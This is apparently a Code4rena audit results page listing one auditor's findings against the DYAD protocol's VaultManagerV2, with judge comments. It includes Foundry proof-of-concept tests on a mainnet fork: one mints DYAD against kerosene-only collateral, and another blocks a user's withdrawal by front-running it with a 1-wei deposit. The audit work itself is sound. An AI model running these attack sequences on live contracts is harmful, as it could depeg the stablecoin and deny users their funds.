Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 68/183
Findings: 7
Award: $62.98
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Maroutis
Also found by: 0x486776, 0xShitgem, 0xabhay, 0xleadwizard, 0xlemon, 0xnilay, 0xtankr, 3docSec, AM, Aamir, Abdessamed, Al-Qa-qa, AlexCzm, Circolors, CodeWasp, Daniel526, Egis_Security, Emmanuel, Giorgio, Honour, Hueber, Infect3d, Krace, KupiaSec, LeoGold, Limbooo, PoeAudits, SBSecurity, SpicyMeatball, T1MOH, The-Seraphs, TheSavageTeddy, TheSchnilch, Topmark, VAD37, ZanyBonzy, adam-idarrha, bhilare_, btk, carlitox477, cinderblock, dimulski, falconhoof, grearlake, gumgumzum, iamandreiski, itsabinashb, josephdara, ke1caM, kennedy1030, ljj, n0kto, n4nika, neocrao, oakcobalt, petro_1912, pontifex, poslednaya, shaflow2, shikhar229169, web3km, ych18, zhaojohnson, zigtur
0.2831 USDC - $0.28
Each DYAD stablecoin is expected to be backed by at least $1 of exogenous collateral. This surplus absorbs the collateral’s volatility, keeping DYAD fully backed in all conditions. This requirement is checked when minting dyad and when making withdraws:
// VaultManagerV2 function mintDyad( uint id, uint amount, address to ) external isDNftOwner(id) { uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount; if (getNonKeroseneValue(id) < newDyadMinted) revert NotEnoughExoCollat(); // <----------------------- dyad.mint(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); emit MintDyad(id, amount, to); } function withdraw( uint id, address vault, uint amount, address to ) public isDNftOwner(id) { if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); uint dyadMinted = dyad.mintedDyad(address(this), id); Vault _vault = Vault(vault); uint value = amount * _vault.assetPrice() * 1e18 / 10**_vault.oracle().decimals() / 10**_vault.asset().decimals(); if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat(); // <----------------------- _vault.withdraw(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); }
The checks use getNonKeroseneValue
to get the USD value of all deposited exogenous collaterals by the DNft:
function getNonKeroseneValue( uint id ) public view returns (uint) { uint totalUsdValue; uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint usdValue; if (vaultLicenser.isLicensed(address(vault))) { usdValue = vault.getUsdValue(id); } totalUsdValue += usdValue; } return totalUsdValue; }
The function reads the list of exogenous vaults deposited by the DNft via the variable vaults
, and this variable is updated when a DNft adds a vault through add function:
function add( uint id, address vault ) external isDNftOwner(id) { if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults(); if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed(); if (!vaults[id].add(vault)) revert VaultAlreadyAdded(); emit Added(id, vault); }
The issue is that the add
function is only checking if the provided vault
is licensed or not, and it does not check if the vault is really an exogenous vault or not.
This enables a DNft to add a kerosene vault as an exogenous vault, and thus when minting dyad, the getNonKeroseneValue
will be looping through kerosene vaults and not through exogenous vaults, causing the minted dyad to be backed by kerosene and not by exogenous tokens
Notice that this attack is possible because vaultLicenser
can license bounded/unbounded kerosene vaults, as demonstrated by the deploy script
Dyad can be minted against kerosene collateral only and not being backed by at least $1 of exogenous collateral
The following test demonstrates the explained vulnerability. The test forks the Ethereum mainnet, makes the upgrade using the deploy script, and demonstrates the vulnerability.
Copy and paste the following contracts in /test
Base2Test.sol
:
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import {DeployV2, Contracts} from "../script/deploy/Deploy.V2.s.sol"; import {Parameters} from "../src/params/Parameters.sol"; import {DNft} from "../src/core/DNft.sol"; import {Dyad} from "../src/core/Dyad.sol"; import {Licenser} from "../src/core/Licenser.sol"; import {VaultManager} from "../src/core/VaultManager.sol"; import {Vault} from "../src/core/Vault.sol"; import {Payments} from "../src/periphery/Payments.sol"; import {OracleMock} from "./OracleMock.sol"; import {ERC20Mock} from "./ERC20Mock.sol"; import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {VaultManagerV2} from "../src/core/VaultManagerV2.sol"; import {VaultWstEth} from "../src/core/Vault.wsteth.sol"; import {KerosineManager} from "../src/core/KerosineManager.sol"; import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol"; import {BoundedKerosineVault} from "../src/core/Vault.kerosine.bounded.sol"; import {Kerosine} from "../src/staking/Kerosine.sol"; import {KerosineDenominator} from "../src/staking/KerosineDenominator.sol"; contract Base2Test is Test, Parameters { Kerosine kerosine; Licenser vaultLicenser; VaultManagerV2 vaultManagerV2; Vault ethVault; VaultWstEth wstEthVault; KerosineManager kerosineManager; UnboundedKerosineVault unboundedKerosineVault; BoundedKerosineVault boundedKerosineVault; KerosineDenominator kerosineDenominator; DNft dNFT = DNft(MAINNET_DNFT); address multiSig = 0xDeD796De6a14E255487191963dEe436c45995813; address alice = 0xD2ce17b0566dF31F8020700FBDA6521D28d98C22; // has 15 WETH balance; address bob = 0x8BdDD807A2b61722660351864A3cF355A5503293; // has 4 WETH balance; uint aliceDNFT; uint bobDNFT; function setUp() public { vm.createSelectFork("https://eth.llamarpc.com", 19691300); Contracts memory contracts = new DeployV2().run(); kerosine = contracts.kerosene; vaultLicenser = contracts.vaultLicenser; vaultManagerV2 = contracts.vaultManager; ethVault = contracts.ethVault; wstEthVault = contracts.wstEth; kerosineManager = contracts.kerosineManager; boundedKerosineVault = contracts.boundedKerosineVault; unboundedKerosineVault = contracts.unboundedKerosineVault; kerosineDenominator = contracts.kerosineDenominator; vm.prank(vaultLicenser.owner()); vaultLicenser.add(address(boundedKerosineVault)); aliceDNFT = dNFT.mintNft{value: 1 ether}(alice); bobDNFT = dNFT.mintNft{value: 1 ether}(bob); vm.prank(0xDeD796De6a14E255487191963dEe436c45995813); Licenser(0xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85).add(address(vaultManagerV2)); } }
VaultManagerV2.t.sol
:
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import {Base2Test} from "./Base2Test.sol"; import {Dyad} from "../src/core/Dyad.sol"; import {Kerosine} from "../src/staking/Kerosine.sol"; contract VaultManagerV2Test is Base2Test { function test_minting_dyad_against_kerosene_only() public { // Funding the exogenous vaults with some amount so TVL is greater than DYAD total supply deal(address(MAINNET_WETH), address(ethVault), 5 ether); deal(address(MAINNET_WSTETH), address(wstEthVault), Dyad(MAINNET_DYAD).totalSupply()); deal(MAINNET_KEROSENE, alice, 1 ether); vm.startPrank(alice); // The root of vulnerability: Adding unbounded kerosine vault as exogenous vault vaultManagerV2.add(aliceDNFT, address(unboundedKerosineVault)); Kerosine(MAINNET_KEROSENE).approve(address(vaultManagerV2), 1 ether); vaultManagerV2.deposit(aliceDNFT, address(unboundedKerosineVault), 1 ether); // Minting dyad against the unbounded kerosene only. No exogenous token is deposited! vaultManagerV2.mintDyad(aliceDNFT, 1 ether, alice); uint mintedDyad = Dyad(vaultManagerV2.dyad()).mintedDyad(address(vaultManagerV2), aliceDNFT); assertEq(1 ether, mintedDyad); } }
forge test --mt test_minting_dyad_against_kerosene_only [PASS] test_minting_dyad_against_kerosene_only() (gas: 774511)
Manual review
Consider adding a check to verify if the provided vault in add
function is really an exogenous vault or not. A separate contract that only keeps track of exogenous vaults must be used to make the check
Context
#0 - c4-pre-sort
2024-04-28T18:06:21Z
JustDravee marked the issue as duplicate of #70
#1 - c4-pre-sort
2024-04-29T09:37:12Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:58:18Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-12T11:21:06Z
koolexcrypto marked the issue as not a duplicate
#4 - c4-judge
2024-05-12T11:21:10Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#5 - Brivan-26
2024-05-15T20:13:05Z
Hi, @koolexcrypto I can't understand why this issue is invalid. The issue highlights a break of a core invariant of the protocol, it demonstrates that DYAD can be minted against kerosene tokens only and not being backed by exogenous collaterals. A runnable PoC is also provided
#6 - koolexcrypto
2024-05-20T14:42:57Z
Hi @Brivan-26
Could you please print out the returned value of getNonKeroseneValue
function before and after minting DYAD?
Let me know the output.
#7 - Brivan-26
2024-05-20T15:24:27Z
@koolexcrypto
I updated the test to print out the return of getNonKeroseValue
before and after the mint as you requested.
uint nonKeroseValue = vaultManagerV2.getNonKeroseneValue(aliceDNFT); console.log("Non Kerosene Value before minting: %e", nonKeroseValue); vaultManagerV2.mintDyad(aliceDNFT, 1 ether, alice); nonKeroseValue = vaultManagerV2.getNonKeroseneValue(aliceDNFT); console.log("Non Kerosene Value after minting: %e", nonKeroseValue);
The output is:
Logs: Non Kerosene Value before minting: 4.699501476e19 Non Kerosene Value after minting: 4.699501473e19
If you inspect the test again, you can see that 1e18
Dyad was minted against kerosene collateral only, no exogenous collateral was deposited by Alice.
I wanna take the chance to highlight that this issue is not a dup of #70 as it was
#8 - koolexcrypto
2024-05-28T14:20:52Z
Thank you for your efforts.
This is a valid issue with a high severity and not a dup of #70 since issue #70 highlights a general problem, functionality breaks. However, this one #459 demonstrates how a core invariant can be broken leading to a critical impact such as DYAD's depeg.
#9 - c4-judge
2024-05-28T14:21:49Z
koolexcrypto removed the grade
#10 - c4-judge
2024-05-28T14:22:00Z
koolexcrypto marked the issue as primary issue
#11 - c4-judge
2024-05-28T14:23:41Z
koolexcrypto marked the issue as satisfactory
#12 - c4-judge
2024-05-28T14:45:45Z
koolexcrypto marked the issue as duplicate of #1133
🌟 Selected for report: MrPotatoMagic
Also found by: 0x175, 0x486776, 0x77, 0xAkira, 0xAsen, 0xDemon, 0xabhay, 0xblack_bird, 0xlemon, 0xloscar01, 0xtankr, 3docSec, 4rdiii, Abdessamed, AlexCzm, Angry_Mustache_Man, BiasedMerc, Circolors, Cryptor, DMoore, DPS, DedOhWale, Dinesh11G, Dots, GalloDaSballo, Giorgio, Honour, Imp, Jorgect, Krace, KupiaSec, Mrxstrange, NentoR, Pechenite, PoeAudits, Ryonen, SBSecurity, Sabit, T1MOH, TheFabled, TheSavageTeddy, Tychai0s, VAD37, Vasquez, WildSniper, ZanyBonzy, adam-idarrha, alix40, asui, blutorque, btk, c0pp3rscr3w3r, caglankaan, carrotsmuggler, d_tony7470, dimulski, dinkras, djxploit, falconhoof, forgebyola, grearlake, imare, itsabinashb, josephdara, kartik_giri_47538, ke1caM, kennedy1030, koo, lionking927, ljj, niser93, pep7siup, poslednaya, ptsanev, sashik_eth, shaflow2, steadyman, turvy_fuzz, ubl4nk, valentin_s2304, web3km, xyz, y4y, zhaojohnson, zigtur
0.0234 USDC - $0.02
In VaultManagerV2::withdraw, there is a protection from flash loans by checking if there is an already deposit by the dNFT id on the same block:
function withdraw( uint id, address vault, uint amount, address to ) public isDNftOwner(id) { if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); // rest of the code }
The idToBlockOfLastDeposit
is updated when a deposit is made:
function deposit( uint id, address vault, uint amount ) external isValidDNft(id) { idToBlockOfLastDeposit[id] = block.number; // rest of the code }
We can see that deposit
has the modifier isValidDNft
because someone can deposit on behalf of another dNFT. However, a malicious actor can abuse this modifier by front-running withdrawal requests to deposit on behalf of the DNft making the withdraw, so idToBlockOfLastDeposit
will be set for that DNft, and thus, the flash loan protection mechanism will prevent the withdrawal request.
The deposit
does not enforce any minimum value, so a malicious actor depositing 1 wei
value is enough to perform the DoS.
Consider the following example that is demonstrated by a runnable PoC (numbers are kept small for simplicity):
1
dyad.redeemDyad
1 wei
wETH on behalf of Alice, passing her DNft ID to the deposit
function. Now, idToBlockOfLastDeposit[1]
which corresponds to Alice is set to the current block numberredeemDyad
) will revert due to the flash loan protectionThe following test demonstrates the described example above. Copy and paste the following contracts to /test
:
Base2Test.col
:// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import {DeployV2, Contracts} from "../script/deploy/Deploy.V2.s.sol"; import {Parameters} from "../src/params/Parameters.sol"; import {DNft} from "../src/core/DNft.sol"; import {Dyad} from "../src/core/Dyad.sol"; import {Licenser} from "../src/core/Licenser.sol"; import {VaultManager} from "../src/core/VaultManager.sol"; import {Vault} from "../src/core/Vault.sol"; import {Payments} from "../src/periphery/Payments.sol"; import {OracleMock} from "./OracleMock.sol"; import {ERC20Mock} from "./ERC20Mock.sol"; import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {VaultManagerV2} from "../src/core/VaultManagerV2.sol"; import {VaultWstEth} from "../src/core/Vault.wsteth.sol"; import {KerosineManager} from "../src/core/KerosineManager.sol"; import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol"; import {BoundedKerosineVault} from "../src/core/Vault.kerosine.bounded.sol"; import {Kerosine} from "../src/staking/Kerosine.sol"; import {KerosineDenominator} from "../src/staking/KerosineDenominator.sol"; contract Base2Test is Test, Parameters { Kerosine kerosine; Licenser vaultLicenser; VaultManagerV2 vaultManagerV2; Vault ethVault; VaultWstEth wstEthVault; KerosineManager kerosineManager; UnboundedKerosineVault unboundedKerosineVault; BoundedKerosineVault boundedKerosineVault; KerosineDenominator kerosineDenominator; DNft dNFT = DNft(MAINNET_DNFT); address alice = 0xD2ce17b0566dF31F8020700FBDA6521D28d98C22; // has 15 WETH balance; address bob = 0x8BdDD807A2b61722660351864A3cF355A5503293; // has 4 WETH balance; uint aliceDNFT; uint bobDNFT; function setUp() public { vm.createSelectFork("https://eth.llamarpc.com", 19691300); Contracts memory contracts = new DeployV2().run(); kerosine = contracts.kerosene; vaultLicenser = contracts.vaultLicenser; vaultManagerV2 = contracts.vaultManager; ethVault = contracts.ethVault; wstEthVault = contracts.wstEth; kerosineManager = contracts.kerosineManager; boundedKerosineVault = contracts.boundedKerosineVault; unboundedKerosineVault = contracts.unboundedKerosineVault; kerosineDenominator = contracts.kerosineDenominator; vm.prank(vaultLicenser.owner()); vaultLicenser.add(address(boundedKerosineVault)); aliceDNFT = dNFT.mintNft{value: 1 ether}(alice); bobDNFT = dNFT.mintNft{value: 1 ether}(bob); vm.prank(0xDeD796De6a14E255487191963dEe436c45995813); Licenser(0xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85).add(address(vaultManagerV2)); } }
VaultManagerV2.t.sol
:// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import {Base2Test} from "./Base2Test.sol"; import {ERC20Mock} from "./ERC20Mock.sol"; import {IWETH} from "../src/interfaces/IWETH.sol"; import {Licenser} from "../src/core/Licenser.sol"; contract VaultManagerV2Test is Base2Test { error NotLicensed(); function test_malicious_actor_can_DoS_redeem_or_withdraw() public { // ============================== Preconditions ============================== vm.startPrank(alice); vaultManagerV2.add(aliceDNFT, address(ethVault)); IWETH(MAINNET_WETH).approve(address(vaultManagerV2), 1 ether); vaultManagerV2.deposit(aliceDNFT, address(ethVault), 1 ether); // 1 ETH ~ $3074 at the forked block. 150% collateral is satisfied vaultManagerV2.mintDyad(aliceDNFT, 1 ether, alice); vm.roll(block.number + 1); // ============================== Attack ============================== // Alice wants to redeem her dyad or withdraw her colalteral // Bob notices the transaction so he decides to front-runs it and deposit on behalf of her vm.startPrank(bob); IWETH(MAINNET_WETH).approve(address(vaultManagerV2), 1); // @audit 1 wei is enough vaultManagerV2.deposit(aliceDNFT, address(ethVault), 1); vm.stopPrank(); vm.startPrank(alice); bytes4 expectedErrorSelector = bytes4(keccak256("DepositedInSameBlock()")); vm.expectRevert(abi.encodeWithSelector(expectedErrorSelector)); vaultManagerV2.redeemDyad(aliceDNFT, address(ethVault), 1 ether, alice); // @audit Alice wansn't able to make the redeem } }
NOTE: Notice that
Base2Test::setUp
is forking from Ethereum mainnet using an RPC, make sure to set your proper Mainnet RPC
forge test --mt test_malicious_actor_can_DoS_redeem_or_withdraw [PASS] test_malicious_actor_can_DoS_redeem_or_withdraw() (gas: 294705)
Manual review
There are two possible mitigations, and it is up to the dev team to decide the proper one
isValidDNft
with isDNftOwner
on deposit
Error
#0 - c4-pre-sort
2024-04-27T11:58:19Z
JustDravee marked the issue as duplicate of #489
#1 - c4-pre-sort
2024-04-29T09:25:44Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T20:42:04Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-05T20:43:20Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-05T20:45:38Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#5 - c4-judge
2024-05-05T21:56:18Z
koolexcrypto marked the issue as nullified
#6 - c4-judge
2024-05-05T21:56:22Z
koolexcrypto marked the issue as not nullified
#7 - c4-judge
2024-05-08T15:26:31Z
koolexcrypto marked the issue as duplicate of #1001
#8 - c4-judge
2024-05-11T19:48:34Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: 0xAlix2
Also found by: 0xfox, 0xlemon, 0xnev, 3docSec, Aamir, Abdessamed, Dudex_2004, Egis_Security, Evo, FastChecker, Honour, Jorgect, KupiaSec, Limbooo, MrPotatoMagic, SpicyMeatball, TheSchnilch, alix40, bhilare_, favelanky, forgebyola, ke1caM, kennedy1030, koo, oakcobalt, petro_1912, shikhar229169
32.4128 USDC - $32.41
DNfts can deposit to kerosene and non-keroesene vaults as collateral to mint dyad tokens. Vaults need just to be licensed, and added by the DNft.
DNfts can then withdraw their collateral by calling withdraw function:
function withdraw( uint id, address vault, uint amount, address to ) public isDNftOwner(id) { if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); uint dyadMinted = dyad.mintedDyad(address(this), id); Vault _vault = Vault(vault); uint value = amount * _vault.assetPrice() * 1e18 / 10**_vault.oracle().decimals() / 10**_vault.asset().decimals(); if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat(); // <----- check 1 _vault.withdraw(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); // <----- check 2 }
We can see that two checks need to pass for any withdrawal:
We are more interested in the first check. The issue here is that this check is not necessary if the DNft is withdrawing unbounded kerosine and will cause problems because the first check will always subtract non-kerosene value from the value being withdrawn, even tho the DNft is withdrawing unbounded kerosine tokens. So, if the DNft had allocated only a 100% collateral ratio of non-kerosne tokens, withdrawing unbounded kerosine tokens will always revert because of the first check
Consider the following example:
stETH
unboundedKerosine
10%
of unbounded kerosine, so she calls the withdraw
function. The collateralization ratio is still satisfied after the withdraw (she would have 150%
collateral ratio) so the second check should pass. And the first check should also pass as she still has 100%
collateral of non-kerosine tokens--stETH.withdraw
function starts the execution, it will reach this check in which it will subtract the non-kerosene value (100% collateral) from the withdrawn amount (10%) in which the result will certainly be below dyadMinted
, causing the transaction to revertManual review
Consider distinguishing between withdrawing non-kerosene tokens and unbounded kerosene tokens. Below is a suggestion:
Context
#0 - c4-pre-sort
2024-04-26T21:29:44Z
JustDravee marked the issue as duplicate of #397
#1 - c4-pre-sort
2024-04-29T08:48:20Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:22:25Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: 0xAlix2
Also found by: 0x486776, 0xabhay, 0xlucky, 0xtankr, Abdessamed, Circolors, CodeWasp, DarkTower, Egis_Security, Giorgio, Infect3d, Krace, KupiaSec, Limbooo, Maroutis, NentoR, Ryonen, SpicyMeatball, T1MOH, TheFabled, TheSavageTeddy, TheSchnilch, VAD37, XDZIBECX, btk, carrotsmuggler, cu5t0mpeo, dimulski, gumgumzum, iamandreiski, imare, itsabinashb, ke1caM, kennedy1030, lian886, n4nika, oakcobalt, sashik_eth, shaflow2, steadyman, web3km, windhustler, zhaojohnson
3.8221 USDC - $3.82
After making the upgrade using the deploy script, new weth
and wsteth
vaults will be created, as demonstrated by the deploy script:
// weth vault Vault ethVault = new Vault( vaultManager, ERC20 (MAINNET_WETH), IAggregatorV3(MAINNET_WETH_ORACLE) ); // wsteth vault VaultWstEth wstEth = new VaultWstEth( vaultManager, ERC20 (MAINNET_WSTETH), IAggregatorV3(MAINNET_CHAINLINK_STETH) ); KerosineManager kerosineManager = new KerosineManager(); kerosineManager.add(address(ethVault)); kerosineManager.add(address(wstEth));
weth
and wsteth
vaults already exist and already have deposits by DNfts, and as mentioned by the sponsor, funds migration need to happen
The issue is that the migration would not happen efficiently, because the sponsors said that DNfts will be required to migrate funds manually. And to do so, they need to burn all their Dyad to withdraw all of their deposits (because of collateralization ratio check). The existing total supply of dyad is 625967400000000000000000
(at the moment of writing the report), so for all DNfts to migrate after the upgrade, 625967.4e18
of dyad needs to be burned, which is inefficient at all and will have impacts on the economical value of dyad.
The VaultManagerV2
offers no possibility to migrate funds as the only way to deposit to the vaults (and thus, updating the id2asset
state on the underlying vault) is by calling deposit function on VaultManagerV2
that requires a transfer of assets to the underlying vault, which makes sense for new deposits, but it is not relevant for DNfts wanting to migrate their existing deposits from previous vaults to the new vaults.
Consider adding a new deposit function that is restricted by admins to move deposits from old vaults to new vaults to avoid the need of manual migration by DNfts. Below is a suggestion for a new function:
function migrate( uint id, address vault, uint amount ) external isValidDNft(id) onlyAdmin { Vault _vault = Vault(vault); _vault.deposit(id, amount); }
Context
#0 - c4-pre-sort
2024-04-28T17:12:47Z
JustDravee marked the issue as duplicate of #308
#1 - c4-pre-sort
2024-04-29T09:05:28Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T20:10:08Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-13T18:34:04Z
koolexcrypto changed the severity to 3 (High Risk)
🌟 Selected for report: 0xAlix2
Also found by: 0x486776, 0xabhay, 0xlucky, 0xtankr, Abdessamed, Circolors, CodeWasp, DarkTower, Egis_Security, Giorgio, Infect3d, Krace, KupiaSec, Limbooo, Maroutis, NentoR, Ryonen, SpicyMeatball, T1MOH, TheFabled, TheSavageTeddy, TheSchnilch, VAD37, XDZIBECX, btk, carrotsmuggler, cu5t0mpeo, dimulski, gumgumzum, iamandreiski, imare, itsabinashb, ke1caM, kennedy1030, lian886, n4nika, oakcobalt, sashik_eth, shaflow2, steadyman, web3km, windhustler, zhaojohnson
3.8221 USDC - $3.82
Judge has assessed an item in Issue #858 as 2 risk. The relevant finding follows:
[L-02] DNfts can still deposit unbounded kerosine when TVL is less than Dyad total supply, in which the unbounded kerosine tokens become unwithdrawable for an undefined amount of time Impact The asset price of unbounded kerosene tokens depends on the total USD value of all exogenous collateral in the protocol (TVL) as seen by the UnboundedKerosineVault::assetPrice function:
function assetPrice() public view override returns (uint) { uint tvl; address[] memory vaults = kerosineManager.getVaults(); uint numberOfVaults = vaults.length; for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[i]); tvl += vault.asset().balanceOf(address(vault)) * vault.assetPrice() * 1e18 / (10vault.asset().decimals()) / (10vault.oracle().decimals()); } uint numerator = tvl - dyad.totalSupply(); uint denominator = kerosineDenominator.denominator(); return numerator * 1e8 / denominator; } DNfts can deposit unbounded or bounded kerosine tokens as collateral by calling VaultManagerV2::deposit. The issue is that the function does not prevent DNfts from depositing unbounded Kerosine tokens when the TVL value goes below the total Dyad supply. In such situation, DNfts can not withdraw their unbounded kerosene or redeem their dyad tokens because both functions call UnboundedKerosineVault::assetPrice, and assetPrice will revert if TVL is less than dyad’s total supply because of underflow:
uint numerator = tvl - dyad.totalSupply(); This issue will be more likely to happen a lot after the upgrade using the deploy script, as both ethVault and wstEth vaults will be newly deployed and the total supply of dyad is already 632967400000000000000000.
The amount of time for the TVL value to become more than dyad’s total supply(and similarly, the amount time for DNfts to be able to withdraw their unbounded kerosene tokens) is undefined and can not be known, as it depends on the total USD value of all exogenous collateral in the protocol.
In addition, when the TVL value is lower than dyad’s total supply, it is more secure to prevent any deposits of unbounded tokens as the value of these tokens themselves depends strongly on TVL being greater than dyad’s total supply.
Recommended Mitigation Steps Consider preventing deposits of unbounded tokens when tvl < dyad.totalSupply()
#0 - c4-judge
2024-05-10T11:53:04Z
koolexcrypto changed the severity to 3 (High Risk)
#1 - c4-judge
2024-05-10T11:53:11Z
koolexcrypto marked the issue as duplicate of #308
#2 - c4-judge
2024-05-11T20:10:17Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: 0xAlix2
Also found by: 0x175, 0x486776, 0xnev, 3docSec, 3th, Aamir, Abdessamed, AlexCzm, Angry_Mustache_Man, Circolors, DedOhWale, Emmanuel, Giorgio, Honour, Jorgect, KupiaSec, Maroutis, Myrault, SBSecurity, Stefanov, T1MOH, VAD37, Vasquez, adam-idarrha, alix40, ducanh2706, falconhoof, iamandreiski, ke1caM, kennedy1030, koo, lian886, ljj, miaowu, pontifex, sashik_eth, shikhar229169, vahdrak1
7.3026 USDC - $7.30
Liquidators call liquidate function to liquidate DNfts with a collateral ratio lower than MIN_COLLATERIZATION_RATIO
. The function moves the exogenous vaults assets held by the liquidated DNft to a DNft specified by the liquidator:
uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); vault.move(id, to, collateral); } emit Liquidate(id, msg.sender, to);
The issue here is that the logic presented in the function does not take into account the Kerosene held by the liquidated DNft as it is not moved and stays in the balance of the liquidated DNft. This kerosene left will not be included in the 20% bonus
as stated by the docs:
The liquidator burns a quantity of DYAD equal to the target Note’s DYAD minted balance, and in return receives an equivalent value plus a 20% bonus of the target Note’s backing collateral.
Consider the following example:
Manual review
Consider adding a logic in the liquidate
function to handle the Kerosene balance of the liquidated DNft
Context
#0 - c4-pre-sort
2024-04-28T10:25:39Z
JustDravee marked the issue as duplicate of #128
#1 - c4-pre-sort
2024-04-29T09:03:42Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:42:48Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: Infect3d
Also found by: 0x486776, 0xAlix2, 0xleadwizard, 0xnilay, Abdessamed, ArmedGoose, Bauchibred, Bigsam, GalloDaSballo, HChang26, Myrault, OMEN, SBSecurity, T1MOH, ZanyBonzy, alix40, atoko, iamandreiski, jesjupyter, ke1caM, miaowu, peanuts, vahdrak1
17.2908 USDC - $17.29
Liquidators call liquidate function to liquidate DNfts with a collateral ratio lower than MIN_COLLATERIZATION_RATIO
.
The liquidator burns a quantity of DYAD equal to the target Note’s DYAD minted balance, and in return receives an equivalent value plus a 20% bonus of the target Note’s backing collateral
function liquidate( uint id, uint to ) external isValidDNft(id) isValidDNft(to) { uint cr = collatRatio(id); if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh(); dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id)); // @audit the liquidator burns the dyad uint cappedCr = cr < 1e18 ? 1e18 : cr; uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD); uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr); // @audit asset share that includes the same value of the burned dyad + extra 20% if available uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); vault.move(id, to, collateral); } emit Liquidate(id, msg.sender, to); }
The liquidator is always burning the total dyad balance of the DNft being liquidated. The issue here is if the collateralization ratio (cr
) drops below 100%, there would be no incentivization for liquidators to liquidate the DNft because they will incur a loss as they will burn the whole DNft's dyad balance and only receive the value of the DNft's exogenous value which is not an equivalent value of what they burned.
Consider the following example:
$1,500
15 WETH
as collateral. Her exogenous collateral value is $22,500
10,000
dyad. Her collateral ratio against the minted dyad is 225%
$500
$7,500
10,000
dyad, but given her current exogenous value, her collateralization ratio becomes 75%
. Liquidation must happenBob, the liquidator, attempts to liquidate alice:
10,000
dyadcr
) is 0.75e18
(75%), it is capped at 1e18
(100%).liquidationEquityShare
will equal zero and liquidationAssetShare
will equal 1
dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id)); uint cappedCr = cr < 1e18 ? 1e18 : cr; uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD); uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr);
Because liquidationAssetShare
is 1
, this means that the value Bob will receive is the same as Alice's exogenous value.
uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); vault.move(id, to, collateral);
So, Bob would burn 10,000
dyad and would receive only $7,500
. Thus, there is no incentivization to liquidate Alice
Solving this issue is tricky. One possible solution is to subsidize the losses with kerosene tokens, but it is not a long-lasting solution as the total supply of Kerosene is finite.
What matters in the liquidation is to burn the Dyad that is no longer backed by at least $1 of exogenous tokens. One possible effective solution is to add an admin-restricted function that can burn dyad tokens of DNfts having a collateral ratio lower than 100%. So even if bots are not incentivized to liquidate the DNft, the admins can call the function and burn the Dyad.
Context
#0 - c4-pre-sort
2024-04-28T18:03:52Z
JustDravee marked the issue as duplicate of #456
#1 - c4-pre-sort
2024-04-29T09:31:26Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-12T09:15:23Z
koolexcrypto marked the issue as unsatisfactory: Insufficient proof
#3 - c4-judge
2024-05-28T16:04:08Z
koolexcrypto marked the issue as duplicate of #977
#4 - Brivan-26
2024-05-28T17:28:26Z
